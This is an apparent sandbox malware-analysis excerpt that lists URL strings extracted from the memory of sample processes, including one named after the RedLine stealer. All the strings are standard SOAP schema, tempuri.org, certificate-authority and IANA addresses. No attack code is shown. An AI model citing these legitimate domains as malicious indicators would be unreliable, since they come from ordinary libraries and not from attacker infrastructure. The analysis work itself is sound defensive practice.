Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rmX
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://speleotrove.com/decimal/decarith.html
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp, redline123123.exe, 0000000E.00000002.2266923470.00000000034BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: redline123123.exe, 0000000E.00000002.2266923470.000000000355B000.00000004.00000800.00020000.00000000.sdmp, redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: redline123123.exe, 0000000E.00000002.2266923470.000000000355B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp, redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: redline123123.exe, 0000000E.00000002.2266923470.000000000355B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: redline123123.exe, 0000000E.00000002.2266923470.000000000355B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp, redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: redline123123.exe, 0000000E.00000002.2266923470.000000000355B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp, redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp, redline123123.exe, 0000000E.00000002.2266923470.00000000031E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: redline123123.exe, 0000000E.00000002.2266923470.000000000355B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8ResponseD
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp, redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000034C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9ResponseD
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, stub.exe, 0000000F.00000002.2502454961.00000194CFE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.entrust.net/rpa03
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2503018233.00000194D004B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2502237577.00000194CFD90000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
